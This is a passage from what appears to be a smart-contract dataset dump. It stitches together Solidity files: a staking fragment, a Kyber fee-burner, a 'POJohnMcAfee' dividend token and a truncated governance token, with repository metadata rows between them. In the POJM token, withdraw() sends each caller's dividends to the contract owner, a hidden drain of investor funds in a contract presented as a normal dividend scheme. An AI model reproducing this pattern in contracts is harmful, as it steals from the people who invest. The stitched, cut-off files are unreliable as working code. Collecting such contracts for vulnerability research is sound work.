lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
}
| 67,954 | 13,672 |
78dbeb408535e8cc19332e5c77d0f3ebc67cc274d60bb4b7fc4d1064196402e1
| 17,513 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/Exchange/0x52166528FCC12681aF996e409Ee3a421a4e128A3.sol
| 4,201 | 16,119 |
pragma solidity 0.4.18;
// File: contracts/FeeBurnerInterface.sol
interface FeeBurnerInterface {
function handleFees (uint tradeWeiAmount, address reserve, address wallet) public returns(bool);
function setReserveData(address reserve, uint feesInBps, address kncWallet) public;
}
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed(address newAdmin, address previousAdmin);
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/Utils2.sol
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(ERC20 token, address user) public view returns(uint) {
if (token == ETH_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(ERC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns(uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
}
// File: contracts/KyberNetworkInterface.sol
/// @title Kyber Network interface
interface KyberNetworkInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, ERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(ERC20 src, ERC20 dest, uint srcQty) public view
returns (uint expectedRate, uint slippageRate);
function tradeWithHint(address trader, ERC20 src, uint srcAmount, ERC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
}
// File: contracts/FeeBurner.sol
interface BurnableToken {
function transferFrom(address _from, address _to, uint _value) public returns (bool);
function burnFrom(address _from, uint256 _value) public returns (bool);
}
contract FeeBurner is Withdrawable, FeeBurnerInterface, Utils2 {
mapping(address=>uint) public reserveFeesInBps;
mapping(address=>address) public reserveKNCWallet; //wallet holding knc per reserve. from here burn and send fees.
mapping(address=>uint) public walletFeesInBps; // wallet that is the source of tx is entitled so some fees.
mapping(address=>uint) public reserveFeeToBurn;
mapping(address=>uint) public feePayedPerReserve; // track burned fees and sent wallet fees per reserve.
mapping(address=>mapping(address=>uint)) public reserveFeeToWallet;
address public taxWallet;
uint public taxFeeBps = 0; // burned fees are taxed. % out of burned fees.
BurnableToken public knc;
KyberNetworkInterface public kyberNetwork;
uint public kncPerEthRatePrecision = 600 * PRECISION; //--> 1 ether = 600 knc tokens
function FeeBurner(address _admin,
BurnableToken _kncToken,
KyberNetworkInterface _kyberNetwork,
uint _initialKncToEthRatePrecision)
public
{
require(_admin != address(0));
require(_kncToken != address(0));
require(_kyberNetwork != address(0));
require(_initialKncToEthRatePrecision != 0);
kyberNetwork = _kyberNetwork;
admin = _admin;
knc = _kncToken;
kncPerEthRatePrecision = _initialKncToEthRatePrecision;
}
event ReserveDataSet(address reserve, uint feeInBps, address kncWallet);
function setReserveData(address reserve, uint feesInBps, address kncWallet) public onlyOperator {
require(feesInBps < 100); // make sure it is always < 1%
require(kncWallet != address(0));
reserveFeesInBps[reserve] = feesInBps;
reserveKNCWallet[reserve] = kncWallet;
ReserveDataSet(reserve, feesInBps, kncWallet);
}
event WalletFeesSet(address wallet, uint feesInBps);
function setWalletFees(address wallet, uint feesInBps) public onlyAdmin {
require(feesInBps < 10000); // under 100%
walletFeesInBps[wallet] = feesInBps;
WalletFeesSet(wallet, feesInBps);
}
event TaxFeesSet(uint feesInBps);
function setTaxInBps(uint _taxFeeBps) public onlyAdmin {
require(_taxFeeBps < 10000); // under 100%
taxFeeBps = _taxFeeBps;
TaxFeesSet(_taxFeeBps);
}
event TaxWalletSet(address taxWallet);
function setTaxWallet(address _taxWallet) public onlyAdmin {
require(_taxWallet != address(0));
taxWallet = _taxWallet;
TaxWalletSet(_taxWallet);
}
event KNCRateSet(uint ethToKncRatePrecision, uint kyberEthKnc, uint kyberKncEth, address updater);
function setKNCRate() public {
//query kyber for knc rate sell and buy
uint kyberEthKncRate;
uint kyberKncEthRate;
(kyberEthKncRate,) = kyberNetwork.getExpectedRate(ETH_TOKEN_ADDRESS, ERC20(knc), (10 ** 18));
(kyberKncEthRate,) = kyberNetwork.getExpectedRate(ERC20(knc), ETH_TOKEN_ADDRESS, (10 ** 18));
//check "reasonable" spread == diff not too big. rate wasn't tampered.
require(kyberEthKncRate * kyberKncEthRate < PRECISION ** 2 * 2);
require(kyberEthKncRate * kyberKncEthRate > PRECISION ** 2 / 2);
require(kyberEthKncRate <= MAX_RATE);
kncPerEthRatePrecision = kyberEthKncRate;
KNCRateSet(kncPerEthRatePrecision, kyberEthKncRate, kyberKncEthRate, msg.sender);
}
event AssignFeeToWallet(address reserve, address wallet, uint walletFee);
event AssignBurnFees(address reserve, uint burnFee);
function handleFees(uint tradeWeiAmount, address reserve, address wallet) public returns(bool) {
require(msg.sender == address(kyberNetwork));
require(tradeWeiAmount <= MAX_QTY);
uint kncAmount = calcDestAmount(ETH_TOKEN_ADDRESS, ERC20(knc), tradeWeiAmount, kncPerEthRatePrecision);
uint fee = kncAmount * reserveFeesInBps[reserve] / 10000;
uint walletFee = fee * walletFeesInBps[wallet] / 10000;
require(fee >= walletFee);
uint feeToBurn = fee - walletFee;
if (walletFee > 0) {
reserveFeeToWallet[reserve][wallet] += walletFee;
AssignFeeToWallet(reserve, wallet, walletFee);
}
if (feeToBurn > 0) {
AssignBurnFees(reserve, feeToBurn);
reserveFeeToBurn[reserve] += feeToBurn;
}
return true;
}
event BurnAssignedFees(address indexed reserve, address sender, uint quantity);
event SendTaxFee(address indexed reserve, address sender, address taxWallet, uint quantity);
// this function is callable by anyone
function burnReserveFees(address reserve) public {
uint burnAmount = reserveFeeToBurn[reserve];
uint taxToSend = 0;
require(burnAmount > 2);
reserveFeeToBurn[reserve] = 1; // leave 1 twei to avoid spikes in gas fee
if (taxWallet != address(0) && taxFeeBps != 0) {
taxToSend = (burnAmount - 1) * taxFeeBps / 10000;
require(burnAmount - 1 > taxToSend);
burnAmount -= taxToSend;
if (taxToSend > 0) {
require(knc.transferFrom(reserveKNCWallet[reserve], taxWallet, taxToSend));
SendTaxFee(reserve, msg.sender, taxWallet, taxToSend);
}
}
require(knc.burnFrom(reserveKNCWallet[reserve], burnAmount - 1));
//update reserve "payments" so far
feePayedPerReserve[reserve] += (taxToSend + burnAmount - 1);
BurnAssignedFees(reserve, msg.sender, (burnAmount - 1));
}
event SendWalletFees(address indexed wallet, address reserve, address sender);
// this function is callable by anyone
function sendFeeToWallet(address wallet, address reserve) public {
uint feeAmount = reserveFeeToWallet[reserve][wallet];
require(feeAmount > 1);
reserveFeeToWallet[reserve][wallet] = 1; // leave 1 twei to avoid spikes in gas fee
require(knc.transferFrom(reserveKNCWallet[reserve], wallet, feeAmount - 1));
feePayedPerReserve[reserve] += (feeAmount - 1);
SendWalletFees(wallet, reserve, msg.sender);
}
}
| 336,288 | 13,673 |
d7e56e0a47919abd022d34dfc7ea7b701437e02a89bae3da6c880a6386f3da36
| 20,240 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x019b014fb58c8b6aaccb9690f23e41e5efc5aa4f.sol
| 3,599 | 14,580 |
pragma solidity 0.4.23;
contract POJM {
string public name = "POJohnMcAfee";
string public symbol = "POJM";
uint8 constant public decimals = 18;
uint8 constant internal dividendFee_ = 4; // 25% Dividends (In & Out)
uint constant internal tokenPriceInitial_ = 0.0000001 ether;
uint constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint constant internal magnitude = 2**64;
address owner = msg.sender;
// proof of stake (defaults at 50 tokens)
uint public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint) internal tokenBalanceLedger_;
mapping(address => uint) internal referralBalance_;
mapping(address => int) internal payoutsTo_;
uint internal tokenSupply_ = 0;
uint internal profitPerShare_;
event onTokenPurchase(address indexed customerAddress,
uint incomingEthereum,
uint tokensMinted,
address indexed referredBy);
event onTokenSell(address indexed customerAddress,
uint tokensBurned,
uint ethereumEarned);
event onReinvestment(address indexed customerAddress,
uint ethereumReinvested,
uint tokensMinted);
event onWithdraw(address indexed customerAddress,
uint ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint tokens);
function buy(address _referredBy) public payable returns (uint) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
owner.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint _tokens = _amountOfTokens;
uint _ethereum = tokensToEthereum_(_tokens);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int _updatedPayouts = (int) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 25% of the tokens that are transfered
// these are dispersed to shareholders
uint _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);
uint _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint) {
return (uint) ((int)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the buy price of 1 individual token.
function sellPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the sell price of 1 individual token.
function buyPrice() public view returns (uint) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint _ethereum = tokensToEthereum_(1e18);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of buy orders.
function calculateTokensReceived(uint _ethereumToSpend) public view returns (uint) {
uint _dividends = SafeMath.div(_ethereumToSpend, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
/// @dev Function for the frontend to dynamically retrieve the price scaling of sell orders.
function calculateEthereumReceived(uint _tokensToSell) public view returns (uint) {
require(_tokensToSell <= tokenSupply_);
uint _ethereum = tokensToEthereum_(_tokensToSell);
uint _dividends = SafeMath.div(_ethereum, dividendFee_);
uint _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint _incomingEthereum, address _referredBy) internal returns (uint) {
// data setup
address _customerAddress = msg.sender;
uint _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_);
uint _referralBonus = SafeMath.div(_undividedDividends, 3);
uint _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint _fee = _dividends * magnitude;
// no point in continuing execution if OP is a poorfag russian hacker
// (or hackers)
// and yes we know that the safemath function automatically rules out the "greater then" equasion.
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a masternode?
if (// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress &&
// does the referrer have at least X whole tokens?
// i.e is the referrer a godly chad masternode
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if (tokenSupply_ > 0) {
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int _updatedPayouts = (int) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint _ethereum) internal view returns (uint) {
uint _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint _tokens) internal view returns (uint) {
uint tokens_ = (_tokens + 1e18);
uint _tokenSupply = (tokenSupply_ + 1e18);
uint _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
/// @dev This is where all your gas goes.
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 216,335 | 13,674 |
a6ec148cded7ad26f332dfd73d41a28dd2c1679182ff4c3e3ef1e3bb09884250
| 32,264 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/b0/b0bd80b1c67d6df86d7471f47bd1cdb026e7b46e_Fantomlicious.sol
| 3,952 | 15,035 |
pragma solidity 0.5.16;
pragma experimental ABIEncoderV2;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Fantomlicious is Context, IBEP20, Ownable {
using SafeMath for uint256;
/// @notice EIP-20 token name for this token
string public constant _name = "Fantomlicious";
/// @notice EIP-20 token symbol for this token
string public constant _symbol = "FTML";
/// @notice EIP-20 token decimals for this token
uint8 public constant _decimals = 18;
/// @notice Total number of tokens in circulation
uint public _totalSupply = 1000000e18;
uint256 public _cap = 100000000000000000000000e18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal _balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
constructor(address account) public {
_balances[account] = uint96(_totalSupply);
